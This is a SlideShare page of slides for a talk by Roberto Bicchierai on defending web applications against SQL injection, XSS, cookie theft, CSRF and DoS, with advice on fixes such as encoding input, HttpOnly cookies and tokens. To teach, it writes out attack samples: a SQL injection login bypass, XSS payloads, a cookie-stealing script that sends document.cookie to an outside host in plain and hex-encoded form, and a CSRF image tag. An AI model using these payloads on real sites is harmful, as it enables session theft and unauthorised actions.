Roberto Bicchierai - Defending web applications from attacks

1,707 views

Published on

Is my web application exposed? We will present a short guide for the "contemporary developer" of web apps: we will survey the critical points of our web apps, the database, session stealing, cookies. We will then review the most common attacks from DOS to XSS to CSRF and ways to defend and / or limit damages.

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,707
On SlideShare
0
From Embeds
0
Number of Embeds
6
Actions
Shares
0
Downloads
18
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Roberto Bicchierai - Defending web applications from attacks

  1. 1. Defending web applications from attacks<br />Roberto Bicchierai<br />http://roberto.open-lab.com<br />rbicchierai@open-lab.com<br />
  2. 2. “Web appsw.t.f.?”<br />Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)<br />Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers)<br />Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)<br />
  3. 3. This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.<br />
  4. 4. Seems easy to say “security”…<br />Classical branches:<br />Hardware security<br />Cryptography<br />Identity<br />
  5. 5. Cryptography<br />Every single byte you send can be read.<br />SSL does not guarantee 100% and slows down your apps.<br />Sniffing requires knowledge, software, hardware and physical access to wires. <br />
  6. 6. User identity<br />Username/e-mail and password<br />strength: “p455w0rD.” better than “password” or “p”<br />avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!)<br />try to avoid dictionary ones (record number of attempts!)<br />never store passwords on your db<br />The newdictionary: why “qazwsxedc” isnot so strong?<br />OpenIDis a suitable alternative for some web apps.<br />Biometrics are NOT.<br />Datibiometrici (difficilmenteusabili)<br />
  7. 7. Did I miss something?<br />My servers are in a fortress<br />3 firewall levels (and one dragon)<br />I use 56 chars non-alpha pwd<br />pwd expires every 10 days<br />I use SSL 1024(128) bit encryption<br />I hung blu velvet curtains to the windows<br />
  8. 8. Your app sucks!<br />Injection<br />Cookies<br />XSS<br />CSRF<br />The problem is in the application…<br />
  9. 9. Injection: I don’t need a password!<br />Earth 2010:<br />lotsofapplications are still open to the classicalsqlinjectionvulnerability:<br />jsmith<br />a’ or ‘a’=‘a<br />“select * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ”<br />DON’T<br />
  10. 10. Damned HTML… and your browsers<br />3 ingredients make web apps vulnerable:<br />HTML was not for applications! But it is! (code injection is too easy)<br />HTTP uses cookies for handling sessions<br />Javascript, that is ubiquitous in a page (and reads cookies)<br />butmainly<br />browsers <br />
  11. 11. Remember me!<br />Saltedcookies, saltedcookies!<br />Usesalt and peppertohash login data.<br />Do notmakethemreversible!<br />md5(user.id+”hash”)<br />md5(user.id+”jfhsdj*dsj2+39jrw_enw”)<br />
  12. 12. Protectcookies!<br />lost cookies = session stolen, now I’m you!<br />Hard to recover! Quite “easy” to prevent<br />use HttpOnly cookies<br />restrict cookie’s scope by setting host, path, expiry<br />encrypt data saved on cookies<br />
  13. 13. Injectionreloaded: aka XSS <br />JSP-ASP example:<br />notes:<br /><textarea name=“notes”><%=note%></textarea><br />your name: <input type=”text” value=“<%=yourName%>”><br /><%=yourName%><br />notes:<br /></textarea><script>alert(“you stink!”)</script><br />your name:<br />john “> <script>alert(“I can do everything!”)</script><br />thisis the basicsofXSS<br />
  14. 14. XSS<br />How I’llgetyourcookies:<br />http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script><br />“Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com<br />
  15. 15. XSS: encodeuserinputs<br />Do not think it’s easy:<br />if (userInputs.contains(“<script>”))<br /> killTheUser();<br />itdoesn’t work!<br />http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e<br />Do yourecognizethis? Itis the same script!<br />Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.<br />
  16. 16. XSS: encodeuserinputs<br />The safest solution?<br />Limit user inputs to plain text <br />Html encode every single field<br />http://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt;<br />Sweet dreams! This is always safe!<br />
  17. 17. XSS: no plain text? so, pain test!<br />Your app allows rich text inputs?<br />Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead.<br /><ul><li>Markdown
  18. 18. Textile
  19. 19. BBCode
  20. 20. Wikipedia</li></li></ul><li>XSS: I like HTML<br />Sanitizing an HTML input is really hard work.<br />Do not be shy:<br />restrict allowed tags: <i><b><a><u><br><hr><br />kill dangerous tags: <script><object><embed>etc.<br />test urls: <br /> <a href=“javascript: or background-image:url(‘…<br />limit css styles, e.g.: position<br />HtmlEncode all the rest!<br />
  21. 21. XSS: test yourpages<br />There are about 150 different XSS exploits!<br />Test inputs using examples on<br />http://ha.ckers.org/xss.html<br />with different browsers and versions.<br />Use XSSme plugin for FireFox.<br />
  22. 22. Missionaccomplished. XSS destroyed! <br />Does the user exactly know what she is doing?<br />Everytime?<br />click here<br />next target:<br />Cross Site Request Forgery<br />
  23. 23. CSRF: howdoesit work?<br />John is authenticated on site A. e.g.: stoks.example.com<br />John visit the site B reading news: hotStoksNews.goodboy.com<br />B contains the CSRF attack to site A e.g.:<br /><img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”><br />John is now an happy owner <br /> of 1000 KRAK shares!<br />
  24. 24. CSRF: protectyourapp<br />There aren’t many solutions:<br />Server-side<br />Generated<br />Tokens!<br />
  25. 25. CSRF & Tokens: howto<br />your server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session <br />when the form request is received a hidden parameter is matched with the in-session one<br />
  26. 26. CSRF & Tokens<br />Cons:<br />reloading a page (F5) will generate “invalid token error”<br />if a page has different entry points token generation may be annoying<br />Pros:<br />safe<br />safe<br />safe<br />
  27. 27. API: a newenemy?<br />REST, JSON, XML API are not evil in themself, but:<br />there is no “standard” authentication<br />when used with JS clients this may reveal the user key<br />you are exposing new ways for xss and csrf<br />
  28. 28. DoS: Denialof Service<br />DoS protocol level: nothing to do… use intelligent gateways/router<br />DoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessions<br />Use session-less pages until authentication<br />“DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.<br />
  29. 29. Yourapprocks!<br />use strong passwords<br />keep data in safe place<br />do not store user’s passwords<br />salt and pepper everywhere<br />use SSL<br />use Httponly cookies<br />encode user inputs or sanitize them<br />use server-side tokens for critical actions<br />expose a read-only API<br />
  30. 30. “Don’t be evil”<br />
  31. 31. Thank you!<br />Now: Q&A<br />a startingpointwith a collectionof security relatedlinks:<br />http://delicious.com/robicch/security<br />my Java sanitizer: <br />http://roberto.open-lab.com<br />

×